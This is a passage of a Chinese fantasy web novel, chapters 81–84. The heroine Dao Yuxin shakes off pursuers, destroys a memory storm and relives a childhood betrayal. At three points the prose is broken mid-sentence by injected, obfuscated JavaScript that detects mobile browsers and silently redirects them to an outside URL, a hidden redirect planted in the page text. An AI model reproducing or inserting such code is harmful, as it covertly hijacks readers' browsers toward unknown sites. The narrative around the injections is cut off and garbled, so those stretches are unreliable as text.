想起之前的对峙局面谢止沉侧身询问:“带着那些人会不会很麻烦?不然我今晚就去把他们全杀了。”出于私心他只希望自己能和刀语心独处。 这份杀心极重的发言让刀语心眉眼稍弯,她开口说道:“不必脏了你的手,他们还有用。”得留着他们和墨弘深狗咬狗。 另一边,通往地下的通道被炸药毁坏,看着面前无力挖开的碎石残骸,墨弘深满是心急却又无能为力。 他接过手下送来的报告,上面赫然印着刀语心和谢止沉同行的身影。 “原来他才是你的弱点啊……”墨弘深眼神晦暗地呢喃。 81. 第 81 章 在夜色还未完全退去的时刻,数个人影悄然离开居住地朝外部前行。 一路未曾停歇,直到即将跨入失忆场影响的范围内,为首之人才转身停下朝步调不紧不慢的刀语心问道:“东西呢?” 只见她缓步上前掀下兜帽,并没有如他们所愿拿出装置而是反问:“解药呢?” “不给我的话,那你们就在这里等着被墨弘深发现好了。”反正装置在自己身上,她什么时候想进遗忘之乡都没问题。 “把东西给她。”在沈老发号施令后有一人拿着一小瓶药剂来到刀语心面前,似乎打算同时交换。 盯着对方颤颤巍巍的神色,刀语心抬手将储存袋抛去同时从对方手中拿来解药,交给谢止沉检测成分确认无误后让莉莉安服下。 看着那个装着深绿色液体的药剂瓶,刀语心莫名觉得眼熟。 对方也在拿到装置的第一时间让人检查,显然他们互相信不过对方。 “刀语心姐姐……谢谢你。”莉莉安发出略显虚弱的声音,说完后对着刀语心露出笑容,见此刀语心只是抬手摸摸她的脑袋。 “我们走吧。”确认无误后刀语心转身就带着其他人先一步进入遗忘之乡。 按理说其余三人都没有自保手段留在外面比进去更安全,但比起危机四伏的环境人心往往更难以揣测。 分别之时沈辞对上沈老那熟悉又陌生的目光,心头无数不解闪过,可他明白独善其身的道理,他不会质疑自己的预言。最终他收回视线,头也不回地离开。 只不过—— “跟上他们。”沈老下达指令,他不打算就这么轻易放过刀语心。 不多时,刀语心一行也发现那些窸窸窣窣的影子紧随其后,她明白对方在榨干自己最后一丝价值之前,无论怎样都甩不掉。 “他们一直在我们后面。”雪姬有些担忧。 “别怕,让他们跟着。”很快刀语心就会让他们知道什么叫世上没有免费的午餐。 她可没有好心到把异植的存在告诉他们。 深入遗忘之乡后风雪愈发猛烈一些断枝散落四处,四周树木毫无生机干枯扭曲如鬼影,反抗者们从始至终都尾随刀语心五人,渐渐的他们发现走在前方之人速度越来越快似乎想将他们彻底抛下。 “不能让她甩掉我们,快跟上!”说着他们开始奔跑,全然没有注意到四周危机。 不远处是被树影遮挡的转角,由于距离差距他们只能看着视野中的背影一个个消失,失去目标后他们心头大乱,毕竟他们可不想承担未知的风险。 朝着前方狂奔转过同样的拐角后,众人看见一道在原地站定的漆黑身影心中不由得产生一抹恐慌。 “她为什么停在那里?其他人去哪了?”有人发出不解的疑问,但无人能够回答。 他们看着黑色长发在风雪中飞舞,她单手拿着解下的斗篷转身,勾起嘴角对上他们的目光,谁都清楚这绝不是什么表达友善的微笑。 “想利用我?”她语气不重却淬着刺骨冰寒。 听到身后藤蔓蔓延的动静,刀语心脸上笑意加深。 “那就……下地狱去吧。” 异植的攻击直直朝刀语心袭来,在触及的一瞬赤红闪过后她就消失在原地,于是攻击穿透她原本所站的空间径直朝着反抗者一群人袭去。 “这是什么鬼东西?”“救命啊!”人群变得慌张,一片混乱间部分人的反制装置也被打碎。 四散而逃时一部分人耳中传入熟悉的吟唱,随即宛如灵魂被抽离般僵硬麻木地原路返回,还在负隅顽抗的其他人看见这诡异的一幕只是更加恐惧,紧接着也成为其中的一员。 在混乱的外侧,刀语心一行俯瞰这一场戏剧,她也重新披上斗篷隐匿气息。 几人身上都是同样款式的斗篷,只是大小不同。在出发前刀语心就分好了装备,所用的反制装置也是由雪姬血液升阶过。 片刻后摄人心魄的吟唱结束,除开核心战力之外的几人和沈老还留着藤蔓缠斗,大多数人已经被莉莉安控制着离开,并留下不得进入遗忘之乡深处的心理暗示。 莉莉安嗓音刚恢复不久就再次发声,还是为了这些背叛过她并加以利用的人。 “你不埋怨他们吗?”刀语心询问,她有些好奇莉莉安心中的答案。 “是有一些,不过帮助他人是我一直以来的心愿。” 失去反制装置暴露在失忆场之下又被异植袭击,他们存活下来的概率微乎其微,在刀语心看来这是那些人自己的选择,他们必须为此承担代价。 “虽说这些家伙完全算不上好人之列,但毕竟他们拥有和我一样的生命。” “我一直都认为,生命是可贵的。经历过浩劫的世界,生命还能存在本身就是奇迹,所以只要是我能帮上的地方,我都会去做。” “当然当然,这只是我自己的想法。”说到这里莉莉安面上有些局促。 “我也知道自己有些时候太不分敌我了,只是无论如何我都没办法眼睁睁看着生命消逝。” 作恶对背叛者而言如家常便饭,与之相对的莉莉安则是乐于行善,帮助他人已经成为她身体中的本能。 “没事的,我并不介意。”刀语心清楚莉莉安是靠自身力量去实现自己所求目的,她并没有强迫他人和她一起,这便足够了。 即便理念稍有不同,但她们各自所行的道路并不冲突。 重新将目光放回与异植厮杀的战场,战斗已经快要平息,反抗者之中的战力也不容小觑,能为了宝物踏入遗忘之乡的人都有一定的本领。 只不过身为预言家不善于战斗的沈老很明显受了伤,正捂着头表情狰狞,其余人似乎不再管他,打算任由他被藤蔓绞碎。 注视这一切沈辞心跳明显加快,无数记忆闪过心头他无意识握紧拳头手心却已经被冷汗浸湿,他不知该如何是好。 “你想救他吗?”察觉到沈辞的反应,刀语心轻飘飘发问。 “我想,但我……” “去吧,我不会怪你,不过也不会帮你就是了。”还没等沈辞说完就被刀语心打断,在她看来,注视着昔日敬仰的老师正在经历痛苦而面不改色的人才需要警惕。 听到这话沈辞没再犹豫朝着沈老所在方面奔去,莉莉安也跟上去帮他。 “刀语心姐姐真是个嘴硬心软的好人呢。” “……是啊。”沈辞苦笑,是他太胆小了。 话虽如此,刀语心还是注意着莉莉安和沈辞的行动,确保他们不会被藤蔓所伤,在又一次扫 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16139487|166192||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 过人群后她发现有个值得注意的人消失不见了。 那个修女,她去哪了? 救援行动并没有遇到其他阻碍,只是沈老精神状态不太正常莉莉安不敢贸然下心理暗示,只好在脱离战场后让沈辞劝说沈老返回。 待到刀语心走进后,她听见沈老的怒吼传来:“你是谁?别碰我!” “老师?别叫我老师!我不认识你!” “之前明明还是正常的。”两人一时之间拿沈老毫无办法。 身为医师的谢止沉上前去结出法术诊断,等到法术轨迹从沈老身上绕了一圈离开后,刀语心问道:“他这是失忆还是精神错乱?” “二者皆有,短时间内难以根治。” 检测结果是沈老不仅是记忆缺失还有一定程度上的记忆扭曲,墨弘深应该用药剂对他施加过迫害。 如此看来,沈老恐怕也不是故意背叛他们,他的理智早就不受控制。 在他们讨论的间隙,沈老还在继续抱着头挣脱沈辞同时疯疯癫癫的言语:“救世主?救世主才是一切的毁灭者……我,我才是真正的救世主!” “你能把他催眠吗?”没有在乎沈老的话语,刀语心转头询问莉莉安。如果技能对他无效的话,那就只能采取物理手段了。 “我试试。”应下后莉莉安就开始吟唱,随着能量在歌声中递增慢慢对沈老起了作用。 合上那布满褶子的双眼之前,他径直地盯着刀语心:“救世主……小心……” 将沈老安置到一个阴冷洞穴中,他身上的反制装置不见踪影,不知道是被藤蔓击碎还是被其他人所夺走。 洞口之外,几人对后续行动展开商谈。 “老师这副样子,我之后恐怕不能与你们同行。”沈辞脸上满是无奈和歉意,“不过就在刚才我得到一个新的预言,或许对你们有所帮助。” 听到这话,刀语心这才知道沈辞的预言更多时候随机降临。 他对着自己施展一个法术,紧接着他所预见的景象就得以展示给众人:枯树之下,血流满地,两方对峙的人影,还有潜藏在暗中的敌人。 持续一段时间后,展示就终止在他的咳嗽声中,与之而来的还有嘴角流下的鲜血。 “不必担心,这只是一点小小的惩罚。”说着沈辞擦掉自己嘴角的血迹,“可惜我的天赋和能力太过一般,无法给出更加准确的预知。” “已经足够了,好好休息吧。” 说来也是有些荒诞,在遗忘之乡这个满是凶险的地方,他们五人之中没有任何一个人的职业与战斗有关。 刀语心打算将雪姬也留在这里,等找到离开的方法再带她一起离开。 “姐姐……那是什么?”忽然间雪姬轻轻拽了拽刀语心,语气中是无可掩饰的颤抖。 顺着雪姬所指的方向看去,所见景象让刀语心毛骨悚然。 仅此一瞬,她就明白先前研究员笔记上那些黑色杂乱线团的含义究竟是什么,那不是什么陷入癫狂的呓语,而是眼前这个庞然大物的抽象具现。 视线范围内的灰白天空被杂乱而疯狂的黑占据,刺骨寒风中传来破碎灵魂的哀嚎。 漆黑,狂暴,可怖……这是一场由无数流逝记忆所构成的—— 记忆风暴。 82. 第 82 章 风暴在迫近,好在移动速度并不算快,这意味着他们还有一段反应时间。 “你们待在洞穴之中,我从外部把洞口堵上。”刀语心不打算带着他们一起逃离那样太浪费时间了,失忆场的覆盖范围并不算小,风暴也没有既定路径,下一次遇见不知道要在多久之后。 进入下一个场的条件是拥有完整记忆。 而且谢止沉也失去了大部分记忆,她不仅要拿回自己的,还要把那些属于他们的记忆夺回来。 更何况很有可能有人会抢在他们前面进入,她必须抓紧时间,绝不能和宝物失之交臂。 “刀语心姐姐,我要和你一起去。”莉莉安目光坚定地看着刀语心说道,“我们是同伴,怎么能让我坐享其成眼睁睁看着你们去冒险。” 对那些背叛者莉莉安都能放下芥蒂去救助,面对同伴她更不可能置之不理。 “当然,沈辞哥哥和雪姬是留在这里更安全一些,但我一定可以帮上刀语心姐姐你的。”她有足够的信心自己可以安抚那些破碎的亡魂。 “我相信你可以,但比起帮到我,我更希望你注意自己的安全。” “好,我会注意的!”莉莉安眼中闪过笑意。 “姐姐……我帮不上你的忙,我会乖乖在这里等你。”雪姬垂下眼帘,她为自己的无力感到愧疚。 “怎么会呢,你已经帮我们很多了。”刀语心摸着她的脑袋安抚道,他们身上附着的淡红护盾就来自用雪姬血液升阶的装置,“如果没有你,我们会面对更大的风险。” “是啊是啊,雪姬已经很棒了!不要因为这些而自责。”莉莉安不希望自己的举动让同伴难堪。 听着她们言语,雪姬抿着嘴角眼神闪烁,她知道现在不是任性的时候。她向前一步,努力把刀语心和莉莉安都抱在怀中。 “姐姐,莉莉安,你们一定要平安回来。” “我们会的。” 在从居住地出发前刀语心就给雪姬留了很多道具,她相信留在洞穴中不会出什么大问题,再者刀语心明白只要她快速将风暴解决就可以更快归来。 确定洞口牢牢封闭又布置一道防御法术后,刀语心带着谢止沉和莉莉安快速离开。 他们逆着风雪而行,打算直面风暴本身。 记忆风暴无视环境将周遭一切毁灭殆尽,在直冲高天的黑色旋涡面前人类渺小如蝼蚁,它从不投以视线更没有一秒停止盘旋。 刀语心走在最前,迎面而来的风压在用尽一切力量压低她的脊梁,她持剑抵挡在身前,气流掠过锋刃被一分为二。 耳边充斥着烦人的哀嚎,撕心裂肺的声音有些来自记忆碎片,有些则来自在遗忘之乡的亡魂残渣。 不过很快,宛如春风般的歌声融化周围冰寒。 这声音并不高亢,却坚定而清澈。莉莉安的吟唱此刻就如一抹无尽冬日里的一丝暖阳,在一片难听刺耳的嘶哑声中为刀语心加持力量,助她开辟前路。 迫于冷冽寒风,她的衔接有些断断续续,但她从没有一刻打算停下歌唱。 前行一段距离,他们已经极其接近。 将剑尖直插深入地表刀语心停下侧过身和谢止沉对上视线,即便失去记忆他也只需一眼就知道她接下来想干什么。 “注意安全。”话落,赤红流光就为她撕开一处裂口。 刀语心没有犹豫抓住那一瞬的裂隙,如离弦之箭般冲向风暴中心。耳边传来的嘶吼声在震颤着她的耳膜,却无法动摇她分毫,她紧握着剑斩杀视线中的一切阻碍。 如愿来到风暴内部,仅仅瞬息身后裂隙已然严丝合缝合拢。 和外界撕裂一切的架势不同,正中央却是一片平静。 提着剑刀语心警惕地寻找着记忆风暴形成的原因,她要解决源头。在没被她视线捕捉的身后,一个淡灰色光球自高空缓缓降临,它操控着无数记忆碎片缓缓聚拢,在下一刻形成攻击向刀语心袭去。 直觉发出警告,她侧过身看去的一瞬就本能朝着另一侧翻滚躲避。 确定敌人所在方位,刀语心快速奔去。 见此情形那光球竟没有丝毫逃跑的打算,在它的视线范围之中,刀语心身上它所渴求的东西正在源源不断地发出璀璨亮光吸引着它。 “把……你的记忆……给我!” 它不知道为什么场无法从她身上掠夺记忆,光球生长出表面透明的能量触须急速朝着刀语心靠近,但它发现,它无法获得它想要的东西。 一个原因是刀语心正在和它争夺,另一个原因则是这记忆好似被人特意加固过。 “为什么……拿不走宝物?” 如同初生的婴儿会抓紧自己好奇之物,只是它已经陷入欲望深渊,它不懂如何创造属于自己的回忆,它只明白掠夺任凭本能去抢走他人记忆。 “这是我的东西,永远都不可能属于你。”刀语心挥剑斩断附在记忆上的能量触须。 靠近后她发觉这光球是能量体的一种,比起之前见过的亚空间意识对方更趋近于邪魔,难以沟通,更无法互相理解。 对方浮在空中她很难用攻击触碰,用异化之力发起的攻势也会被灵活躲开。 “不!这会是我的!”空洞毫无情感的声音在耳边响彻,能量体控制着记忆化作一道道攻击朝刀语心冲去。 面对攻击刀语心本能想要用剑击碎,只是在接触的前一刻她紧急收手选择遁入异化之力中避开,她不确定这些朝她涌来的记忆洪流中是否有谢止沉的记忆。 对于能量体这种用别人记忆当作攻击的行径让刀语心十分不悦。 “这些记忆是你的宝物还是你的玩具?每份记忆对拥有它的人而言都是珍贵的,你这样的掠夺者永远不会知道记忆中蕴含的意义所在。” 她不渴望能量体能够理解她,她只是用这些话语宣泄怒火的同时试图分散它的注意力。 “闭嘴!!!”被戳中痛处的它尖啸紧接着发动更加猛烈的攻击,“拥有这么多记忆的我……怎么会不明白!” 太过密集的攻击比那些藤蔓还要难缠,枯枝还可以毫无顾虑地斩断,但这些记忆不行。 被四面八方攻击围剿的刀语心避无可避被一道攻击击中,她猛然咳出血液脑海中一片混乱,比起躯体上的伤势,那些被迫观看的他人记忆更为棘手。 视野中一片废墟中有人伸出手,顺着手臂向上看到一个似曾相识的面容。 灰暗的天空,被毁坏的王座,血液如溪流般顺着台阶蜿蜒而下,场景一转,记忆的主人似是坠入海底,仿若没有尽头一般。 紧接着闪到无头神像,有人在破旧教堂的高台上传教:“是浩劫毁了我们拥有的一切吗?不!” 清澈水面倒映出一个小女孩的悲伤面容,她正流下泪水。 粉色头发? 刀语心在陌生记忆中敏锐 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16149851|166192||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 地捕捉到一闪而过的熟悉发色,是莉莉安。 但她随即意识到不对:莉莉安从进入遗忘之乡深处开始就一直有反制失忆场的装置,为什么她会在这里看见莉莉安的记忆? 回头向风暴外看去,透过能量体调动记忆的空隙,她见到外界的莉莉安不知为何倒地,身上的淡红色护盾也消失不见。 必须速战速决。 又一次翻滚躲过攻击,刀语心仰头看向能量体所在方向,迟迟杀不死它的主要原因就是它一直飘在空中。 她要达到同样的高度……甚至是更高。 覆盖在地表的异化之力感受到她的诉求,不再是只在地面蔓延的黑水,它们集结一起化作奔涌的海水掀起滔天巨浪,将刀语心送至高空。 光球感受到不同寻常的力量气息,转过身,就看到刀语心的身影自浪潮中脱出向它袭来。 异化之力给灭灵剑上镀上黑色虚影,她绝不会失手。 剑锋朝着能量体挥去,能量体的核心被击中,异化之力在瞬息之间把它吞噬殆尽,在凄厉叫声中光球逐步破碎。 记忆风暴也在同一时刻消散,无数记忆顺着风的轨迹飘落四周。 自上向下望去是全然陌生的景象,刀语心看见积雪被吹散露出许久不见天日的地表,倒在那冰凉地面之上的不仅有莉莉安,还有部分反抗者。 还没等她捕捉更多的细节,那些失去的记忆就全部涌入,这是能量体对她的最后报复,专门挑选她即将坠落之时。 该死,偏偏是在这个时候。 她失去身体和力量的控制权只能被迫重新浏览着那些她早已经历过,埋藏在记忆最深处的片段。 一群面目阴沉的人站在房檐下,她需要仰头才能和他们对视。 这是刀语心刚被吴阿婆带回无名镇的节点,他们在浩劫之后四处收养无家可归的孩童,早早培养成为救世会的棋子。 那时的刀语心什么也不懂,从不和人交流,直到有一人主动出现在她的视野中。 “你好呀,我是巫津,我可以叫你姐姐吗?”对方向她展示无害又灿烂的笑容。 “……可以。” 于是后来的他们在救世会中彼此做伴,熟知对方的喜恶,在心底记录着对方的失败和成长,甚至在后来一同发觉救世会对他们不怀好意地利用。 “又有人死掉了……姐姐,我好害怕,我们一起逃跑吧?” “好。”她答应下来。 再后来,就是痛彻心扉的背叛,她被救世会抓回,并施下诅咒。 在被关在地下室的头一个夜晚,她因疼痛难以入睡,屋外有脚步声响起,抬起疲惫的眼帘她看到新鲜的食物被轻放在自己面前。 “吃点东西吧,姐姐。”来人将干净的毯子展开,盖在她被冷汗浸湿的冰冷身躯上。 “我很抱歉,但这是权衡利弊之后属于我们的最优解,认清现实吧,姐姐。”看着对方脸上的笑容,刀语心不明白巫津怎么能这么从容地背叛她,又这么理所应当地说出这些话语。 昔日温顺需要她庇护的羔羊,早在她不知道的时候变成和他人一起围剿自己的白眼狼。 又或是说,他从一开始就是这副模样。 那是刀语心诞生于世以来,第一次感受到情绪在自己身体中冲撞。 “不要叫我姐姐!” 如曾经所做的那样,她对着记忆中的虚影怒吼道。 83. 第 83 章 “……姐姐?是想起什么不好的回忆吗?” 低沉但不失温柔的语调将刀语心从记忆的阴冷潮水中捞起,意识回笼后她感受到有谁正揽着自己。 视线重新聚焦,她仰头正对上谢止沉关切的眼神。 注意到她的目光,他浅笑着说道:“之前让你担心了,我的记忆已经全部恢复了。” 刀语心注意到谢止沉的脸颊一侧染上了一点血迹,她可以确定这不是他的,她没有闻到他身上有血腥味。 她不在乎这是谁的血液,只是抬起手用指尖轻轻擦去,接着回应他之前的问题:“是。”如果不是这次记忆被夺走,她永远不想再次回想起那令人作呕的场景。 意料之外的触碰让谢止沉目光微颤。 很快收回视线的刀语心并未注意到这点,她从他怀中起身离开整理着混乱的思绪,判断接下来要做什么:“还好有你在,不然我恐怕要摔成重伤。” “我不会让那种事情发生的。” 摩挲着身上残留温度直至消逝,谢止沉感受得到刀语心此刻情绪不高,大概率是那失而复得的回忆造成的。 他曾亲力亲为梳理过刀语心的记忆,他知道病因是谁。 巫津,亲如家人的背叛者。 从第一次看到刀语心的记忆起,谢止沉就十足嫉妒巫津能和刀语心度过幼年时光,他无数次想过如果不是这些该死的阴谋,从始至终陪在刀语心身旁的人都应该是他才对。 更让他感到愤恨的是,得到这一切的巫津竟然还背叛了刀语心。 不可饶恕,巫津应该遭受世间最恐怖的刑罚,让死亡成为他难以得到的解脱。 而且……谢止沉还是很在意那个称呼。 刀语心打算先去查看周围状况,只是还没等她迈步就被谢止沉牵住。感受手心上传来的力度,她侧过身看着他语气轻柔地询问道:“怎么了?” “我可以叫你姐姐吗?”他注视着从未从他视野中离开的人影。 谢止沉知道自己在做什么,他要把刀语心关于这个称呼的记忆抢走,他要让刀语心不会再因为这个称呼产生任何负面情绪。 他走上前牵起刀语心的手放在胸口。 “如果可以的话,就把这个称呼交给我吧?姐姐?” 原本被记忆片段冲击得脑子不太清醒的刀语心,这下更是直接丧失思考能力,她的手被谢止沉攥住,感受着对方身上传来的温度和心脏跳动。 那是他的心跳声,还是她的? 她分不清。 迟迟得不到回答的谢止沉并未心急,他很清楚该如何再添一剂猛药。 “是只有我不可以这么称呼你吗?”他垂下眼似是委屈地说道,但他从始至终没有一刻稍微松开刀语心的手。 “不,我不是这个意思,只是……”她有点太过不知所措。 听见这个称呼从巫津口中喊出来刀语心只觉得恶心,时至今日再次想起,她依然是同样的愤怒,甚至更甚。 可若称呼她的人是谢止沉,她非但没有感受到任何厌恶,反而从心底升起一种别样的感觉。 “那,姐姐?”带着笑意的语调在她耳边萦绕。 刀语心只觉得自己呼吸都要停滞了,情急之下她直接用手捂住谢止沉的嘴堵住他的话,她现在非常矛盾,既希望却又有些抗拒。 此时的刀语心还没有意识到问题的症结所在,为什么可以轻易接受其他人,却无法接受谢止沉这么称呼自己。 “现在……还不可以。”她盯着谢止沉尽可能语调冷静地说完,接着后退一步移开视线,不过被谢止沉牵着的手依然无法抽离。 “那就是以后可以咯?” “莉莉安在哪?”刀语心岔开话题没有回答,同时咬牙在心底痛斥自己究竟在做些什么。 “放心吧,她没有受伤只是力竭暂时昏迷过去,我已经让流光送她回去了。” 一直注视着刀语心的谢止沉自然不会落下她眼神飘忽和咬牙切齿的小动作,脸上笑容愈发加深的同时他也清楚自己不能太过急功近利。 得一点点来。 “我们也回去吧?”他笑着询问。 “好。”刀语心松了一口气,听见谢止沉说话她就下意识紧张,还好那个称呼没有再次出现。 回程中谢止沉和刀语心讲述刚才外面发生的状况。 之前那些一同进入的反抗者几人顺着踪迹想要先下手为强袭击他们,不过在得手之前就被谢止沉全部解决。 他故意拖到莉莉安昏迷才动手,为了不引来追杀除必要时刻他很少展露力量。 只是她还是看到了。 时间退回刀语心刚进入风暴之中不久,外围的莉莉安察觉到异动,一支箭射在她的身旁。 她回头看去,发现是反抗者中的几人。绝不能让这些人干扰到刀语心姐姐,抱着这样的想法莉莉安顶着风压不断加强歌声中蕴含的力量,试图直接侵占反抗者几人的意识夺走控制权。 但在声音刻入他们的脑海之前,就在中途消失。 对于莉莉安的歌声反抗者们早有准备,使用法术施展出一个无声之域特地针对莉莉安。 见此莉莉安只好在无声之域外用歌声设立阻碍,调动自己极少使用的法力施展控制类法术朝着他们攻去。 与此同时,反抗者几人的攻击也开始。 将莉莉安的攻击抵消后,紧接着一道法术朝她射去极快没入莉莉安的躯体中,连同反制装置也被打碎,法术加上一瞬间失去记忆,她的意识被干扰脑海如同崩断的弦混乱不堪。 有一股治愈力量将混乱平息的同时却涌入无数困意。 可她还不能晕过去,莉莉安抵抗着疲惫,她知道刀语心姐姐还在风暴之中。下一刻她抬眼,看到的景象却让她心生不解。 不知为何反抗者一个接一个倒下,那些在空中喷涌而出的,是他们的血?可这里除她之外,就只有谢医师了。 医师杀人什么的,一定是她在做梦吧……合上眼前莉莉安如是想到。 风暴消失后失去的记忆在昏迷中重新回归,融入她的梦境里。 被浩劫无情碾压过的后末日时代很难有一个不支离破碎的家庭,即便拥有过温暖,大多也都如微光般短暂。 莉莉安幸运地诞生在一个美满的家庭,不算大富大贵但精神富足。 她在母亲的臂弯里听着摇篮曲入睡,父亲会为她亲手雕刻各式各样的玩具。在破旧但没有杂草的整洁院子中,幼小的莉莉安在练习歌唱,在结束一曲后父母会一起为她鼓掌。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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后来,在破旧教堂中断头神像下,她和其他孩子坐在一起看着站在台上的主教。 从窗台中射入的冷光没有增加任何的光亮反而衬得气氛越发沉重,主教的面容被光线分割,显得柔和又冷硬。 “救世会成立的意义,就是拯救这个朽坏的世界。我们不期望仅凭一人就能拯救所有人,为了我们期望的世界,我们每个人都必须奉献自身的力量。” “不仅要拯救,还要避免重蹈覆辙。” “我们要明确一点,是浩劫毁了我们曾经所拥有的一切吗?不!是那些种子,是那些拥有力量的生命体,是被无知信徒高高供奉起的神明,祂们才是带来浩劫的罪魁祸首!” “我们必须杀掉这个世界上的所有种子排除潜在危机,为此,我们甚至不惜使用任何手段。” “我们必须杀掉种子!”记忆中那双锐利的眼眸死死盯住莉莉安。 可是,可是…… 梦中的莉莉安无论如何都吐露不出任何字句,在一片混沌中,她缓缓睁开眼回归此刻的现实世界。 “醒了?” 84. 第 84 章 “我这是怎么了?”莉莉安撑起身体捂着脑袋。 她原本明亮的眼此刻有些黯淡,对她而言回忆往昔的梦完全算不上好。 “让我们失忆的场已经消失了,连带着记忆也回归。”在她身旁的刀语心开口解释着,“但还有一个场在内部。” 刀语心不太希望他们和自己一起冒险,她没有任何信息无法确定其中是否会有更大的危险。 “下一个场很安全,所有人都能平安无事地通过。”带着岁月气息的沙哑声音扰乱他们接下来的谈话,是从昏迷中醒来一段时间的沈老。 “老师他恢复了清醒,暂时。”沈辞为刀语心解释道。 听到这话,雪姬轻轻抓住刀语心的衣摆说道:“我想和姐姐你一起进去,在外面我有些害怕。” “我也想进去!”莉莉安紧随其后,“我没有受很重的伤,现在也恢复了很多,就让我们和你一起进去吧,遇到无法处理的危险我们会躲起来不给刀语心姐姐你添乱的。” “他没有骗你。”谢止沉在刀语心耳边低语,流光为他送来一部分消息。 深深看了一眼沈老后,刀语心妥协:“那走吧,事不宜迟。” 前往遗忘之乡更深处的路途中,谢止沉将流光收集到的消息告知刀语心,跨入界限的人分为两拨,最先进入的有两人,后面一拨有十几人。 跟着沈老进来的那一拨反抗者除却被莉莉安驱使离开,以及谢止沉杀死的,剩下的不够十人,那么就只剩下一种可能—— “是墨弘深。” 是个难缠的敌人,但不算棘手,刀语心有十足的把握他掀不起波澜。 “他的把柄还在我这里。”即便墨弘深耗费人力物力打通地下的入口,他也会发现那里空无一物,被冰晶包裹的女性此刻静静躺在她的空间戒指之中。 比起知己知彼的老对手,先进入的那两人更让刀语心觉得危险。 “进去之后万事小心。”她叮嘱道。 “好。” 来到场的边界刀语心毫不犹豫地先一步跨入其中,她向前走,周围景象在一瞬间发生改变。 无尽黑暗朝她涌来,视线之中只剩下前方一个昏暗的光点。她没有回头也没有迟疑,握紧手中的武器径直向前走去。 随着她逐渐走近一个高大的建筑从阴影中浮出,视线顺着无数阶梯向上,她看到一个王座和…… 她自己? 走到台阶面前后,刀语心停下脚步。 在她注视着对方的同时,她也察觉到一股不加掩饰的目光正落在自己身上。 这是什么?一种推演,还是一种预言?在高座之上的那个人,是真实还是虚假?这一场预见是偶然还是必然?“她”是她的终点,还是说…… 没等刀语心得到其中任何一个问题的答案,她就看见另一个自己正朝她走来。 扑面而来的压迫感让本能驱使着她抬剑,只是还没等她做出动作,那人已经来到她的面前。 随之而来的气流将她的斗篷掀开,“她”伸出手触碰着她的脸颊,那是一种让灵魂都寒颤的冰冷触感,只要对方一个念头就可以将她彻底杀死在这里。 意识到这个事实,她心中却没有任何恐惧,刀语心明白,“她”已经不再是她。 祂已然超脱于这个世界。 冰凉的指尖并没有在她身上停留太久,很快便转向她头上的银白发饰,感受到轻微触动的同时她听见祂说:“很适合你。” 祂的声色和她相似,但浸染更多说不清道不明的阴冷潮湿和沙哑,像是已经潮湿朽坏的机器。 在对方打量自己的同时,刀语心的视线也毫不拘束地落在对方身上。 即便她确定灵魂是同根同源,可那些最本质的不同也在表面显现,祂的发丝一路从台阶上蜿蜒而下看不到尽头,皮肤也没有丝毫血色,那双眼是同样的深邃黑暗,但拥有着更多空洞。 以及一处更加显眼的证明:一道在锁骨处盘踞的可怖疤痕。 她想,一定很痛吧。 “我已经忘记了。” 听到对方出言的一瞬刀语心还以为是自己将心底的话无意识说出,在看到对方嘴角勾起的微笑后她恍然明白这场恶作剧。 她不介意自己的心声被另一个自己听取,只不过刚才那些问题也都被祂所知晓。 “我是真实,亦是虚假。”祂脸上笑意加深,这是对自己的赞赏,偶然间感受到这一点波动,降临此地未曾想会有这样的收获。 发丝从祂指节中滑落,祂明白她不能在这里停留太久。 “这不是你的路。”祂说。 话落祂拉开距离,还没等刀语心再说什么,就有一股力道将她轻轻推离,她看着祂转身离开重回高台,她们之间的距离变得越来越远,但那声音却依然清晰无误地传入她的脑海。 “你要明白并记住,你真正想要的东西是什么。” “然后,朝所在之处走去。” 话落的一瞬刀语心就从一片黑暗之中回归现实,显然不是通过正常途径离开的,她能感受到围绕在她周围的场是被一股力量活生生撕裂,为她开辟出一条不同寻常的通路。 不是什么正常通关方法,但还不赖。 回归现实的她转身回头望去,却发现自己不在之前进入的地方,其他人也不知去了哪里。 没有过多停留,她提步在厚厚积雪上前行,足迹在身后蔓延。遗忘之乡深处没有任何人类进入自然也就不存在道路,刀语心握着剑观察四周,发现一处地方有着两人的脚印。 从形状上大致可以判断出来是一男一女,也和流光提供的消息对上。 潜藏在暗中的敌人啊。 思绪之间,刀语心余光捕捉到前方有身影在移动,抬眼看去是熟悉的两人在朝她挥手。 “刀语心姐姐——”是莉莉安和雪姬,她们正朝她跑来。 “没事吧?”她也快步走上前询问。 “没事的,我们都是走着走着发现你们都不见了,不久后就出来在不远处遇到对方。”莉莉安说着,雪姬在一旁点头。 “那我们接下来是要去找其他人,还是先去找宝物?” “继续向前吧。”刀语心神色淡淡地说道,就理性而言她自始至终的目标都是得到宝物,幸好,流光的指引和神令发出共振的方向在同一处。 不久后她们就遇到沈辞二人,那么就只剩下谢止沉了,思及至此刀语心莫名有些不安涌上心头。 